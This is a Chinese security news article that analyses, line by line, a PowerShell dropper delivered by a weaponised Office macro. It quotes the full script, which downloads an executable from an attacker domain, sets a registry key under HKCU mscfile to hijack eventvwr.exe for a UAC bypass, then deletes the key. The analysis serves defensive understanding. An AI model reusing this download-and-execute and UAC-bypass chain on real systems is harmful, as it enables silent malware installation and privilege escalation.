逐行分析PowerShell 恶意代码

丝绸之路 新闻 2017年4月1日发布
Favorite收藏

导语:PowerShell是恶意软件作者用于在受害者计算机上获得立足点的首选程序。PowerShell被经常使用的一个原因是因为它能够更改操作系统和系统资源。

PowerShell是恶意软件作者用于在受害者计算机上获得立足点的首选程序。PowerShell被经常使用的一个原因是因为它能够更改操作系统和系统资源。它根据具体的功能将本机的Windows命令行提升到了另一个级别。一旦恶意进程能够以提升的权限执行PowerShell命令行,那么该恶意软件的能力将变得“无穷大”。

在本文中,我将会一行一行的分析一个使用了PowerShell并利用已知的UAC漏洞进行攻击的案例。遇到这样一个写的比较利落的PowerShell脚本是比较罕见的。这为我们提供了分析脚本并准确了解这些攻击手法的机会。

在几乎所有的Powershell攻击中都有一些常用的命令。我将讨论这些命令以及几个UAC绕过漏洞利用的特性。了解这两种类型的命令以及如何修改受害者的系统很重要。

攻击案例

在这种情况下,受害者使用产生PowerShell脚本的恶意Office宏打开了一个被“武器化”的Office文档。

1490846911853188.png

该文档文件的攻击方式是我们以前详细介绍过的常见攻击方式的一种。 在此示例中,一旦宏被允许以提升的权限执行,脚本就会运行下面的PowerShell命令。

1490846959861262.png

乍一看,这个脚本看起来非常的复杂。 然而,实际上这段代码的逻辑却非常简单直接,不过稍后讨论到的几个注册表更改操作除外。 这里的大多数命令的目的是为了避免杀软的检测。 该进程会在后台偷偷的运行,不会提醒用户或要求提升权限来进行任何更改。

通过使用很短的RAM和CPU周期,受害者基本不会注意到任何性能影响。 没有进程监控应用程序或任务管理器工具的帮助,几乎不可能知道这个应用程序已经在后台运行。 然而,由于用户通过Invincea配备了“X”(安全产品),因此受到攻击的用户得到了保护,攻击事件的日志也会被捕获。

一行一行的分析Powershell代码

1 “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe”

该命令的第一行是从WindowsSystem32目录中打开PowerShell应用程序。

2 -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;

这些附加的命令会将PowerShell设置为隐藏的窗口,因此对受害者不可见。 变量“$wscript”的创建意味着该变量会在创建后实例化一个WScript.Shell对象。 WScript.Shell提供了对操作系统shell方法的访问能力,这大大增加了PowerShell可以交互的应用程序的功能和类型。

3 $webclient = new-object System.Net.WebClient;

变量$webclient被创建并实例化了一个System.Net.WebClient对象实例。 WebClient类提供了允许实例化对象从由URL标识的Web服务器发送和接收数据的方法列表。

4 $random = new-object random;

该命令只是创建一个随机对象的新实例($random)。

5 $urls = ‘http://dfgdfg.top/officsemgmts.exe’.Split(‘,’);

$ urls变量赋值了托管在恶意域上的恶意二进制文件(officemgmts.exe)的下载地址。 该变量还可以通过逗号简单地分隔不同的URL,将托管在不同域上的多个二进制文件进行串联。 如果攻击者有一些域名列表,其中一些是活动的,而另一些则不常用,那这种手法就非常有用。

6 $name = $random.next(1, 65536);

$ name变量会从$ random变量的1到65536之间分配一个随机数。

7 $path = $env:temp + ‘’ + $name + ‘.exe’;

$ path变量设置为指向用户的Windows环境变量目录中的AppDatatemp文件夹。 在该文件夹中创建一个新的可执行文件,并从上面的$ name变量中给出一个随机名称。

8 $hkey = ‘HKCUSoftwareClassesmscfileshellopencommand’;

新变量$ hkey被赋值了一个特定的注册表项。 这个注册表项在UAC(用户帐号控制)绕过方面特别重要,稍后会重点讨论。

9 $sleep = 3000;

$ sleep变量被赋值为3000。

10 foreach($url in $urls){try{

在下一节中,我们将介绍$ urls变量中每个值对脚本的作用。 该脚本遍历$ urls变量中给出的每个URL,并在后续继续运行其他命令。 在本文这种情况下,$urls变量中只有一个URL,因此脚本只能循环一次。

11 $webclient.DownloadFile($url.ToString(), $path);

$webclient变量用于从$ urls变量中的取出文件下载地址并下载到$path变量指定的路径中。 很显然,这会把 “officsemgmts.exe”文件下载到%appdata%localtemp文件夹中。

12 $wscript.RegWrite($hkey, $path);

这是写UAC绕过的注册表键值的地方。 使用$wscript变量(一个wscript对象),powershell将$path值(已下载的二进制文件的路径)写入到变量$hkey指向的注册表项。 现在,每当一个进程查询该注册表项时,将会返回在$ hkey注册表项中写入的任何值。 Microsoft事件查看器是与此注册表项进行交互的特殊系统工具。

13 Start-Sleep -m $sleep;

该进程休眠3000毫秒,$sleep变量前面的-m标志指定了休眠的时间单位(毫秒)。

14 Start-Process -WindowStyle hidden -FilePath ‘eventvwr.exe’;

这是UAC绕过被利用的地方。 该脚本执行“eventvwr.exe”文件,该文件是本身就具有提升的管理权限运行的并被签名过的Microsoft二进制文件。 攻击者利用的这点很重要,因为这个程序的运行并不会提示用户是允许还是拒绝特权提升。 该进程会自动作为管理员运行,而不通知用户。 该漏洞的主要问题在于“eventvwr.exe”在查询HKEY_CLASSES_ROOT(HKCR)配置单元中的相应键值之前会先在HKEY_CURRENT_USER(HKCU)配置单元中查询键值。 如上面的第12行所示,下载的恶意二进制程序占用了“eventvwr.exe”查询的特定注册表项的值,因此会运行恶意的二进制文件。

HKEY_CLASSES_ROOT配置单元应该具有比HKEY_CURRENT_USER配置单元更高的完整性分类,因为它提供了HKCU和HKLM合并信息的注册表视图。 HKCR键下面的注册表项定义了文档类型(或类)以及与这些类型相关联的属性(Shell和COM应用程序会使用到此键值下存储的信息),而HKCU下面的注册表项定义的是当前用户的首选偏好设置信息[1]。但是当“eventvwr.exe”查询注册表时,它会先在HKCR键中读取然后读取不到才会从HKCU中读取。本质上该进程是从注册表项运行数据,如果存在的话,则在以较高的完整性查询等效的注册表项之前,会以较少的完整性查询进行执行。在三个完整性定理之一的Biba模型就指出,更完整性的主体不应该读取较低完整性的对象(不能向下读取)。如果以提升的权限运行的进程正在读取两个相应的注册表项时,则读取顺序应该是先在HKCR配置单元进行读取之后再从HKCU配置单元中读取。

UAC绕过是为了使Windows体验更加人性化,但是当被错误的人或进程利用时,它就可能会被证明是危险的功能。有关Windows 7中的UAC的更多信息,请点击此处查看。

15 Start-Sleep -m $sleep;

该进程休眠3000毫秒,由$ sleep变量前的-m标志指定休眠时间单位。

16 $wscript.RegDelete($hkey);

执行UAC绕过并且进程休眠3秒钟后,脚本将删除注册表项以覆盖其操作痕迹。

17 $process = Get-Process $name -ErrorAction silentlycontinue;

$process变量设置为临时目录中创建的随机命名的文件的名称。如果检索进程名称时出错,则脚本将静默地继续执行下去。

18 if(!$process){Start-Process -WindowStyle hidden -FilePath $path;}break;}

如果上一个命令无法返回进程名称并静默地继续执行,则窗口会保持隐藏,并且进程也会中断。

19 catch{write-host $_.Exception.Message;}

这是保持脚本在后台静默运行的另一种机制。

结论

UAC绕过漏洞是许多Windows漏洞中的一个,如果黑客具有访问PowerShell的权限,那他就可以利用PowerShell做更多的事情。 当使用PowerShell脚本以恶意方式影响敏感的系统数据时,了解并认识到这一点也很重要。上述漏洞利用代码在很多漏洞利用程序中无处不见,这些代码之所以如此流行是因为大多数漏洞利用工具包在执行从Web上的URL下载文件,进程执行和进程终止等方法时保持静默。 幸运的是,Invincea的X安全产品可以使用行为监控来防止常见的攻击方法的成功利用,无论是来自“武器化”的Office文档还是网页上的恶意脚本。

参考

[1] https://msdn.microsoft.com/en-us/library/windows/desktop/ms724836(v=vs.85).aspx

本文参考来源于invincea,如若转载,请注明来源于嘶吼: http://www.4hou.com/info/news/3984.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    高坂穗乃果 2017-04-01 18:21

    感谢分享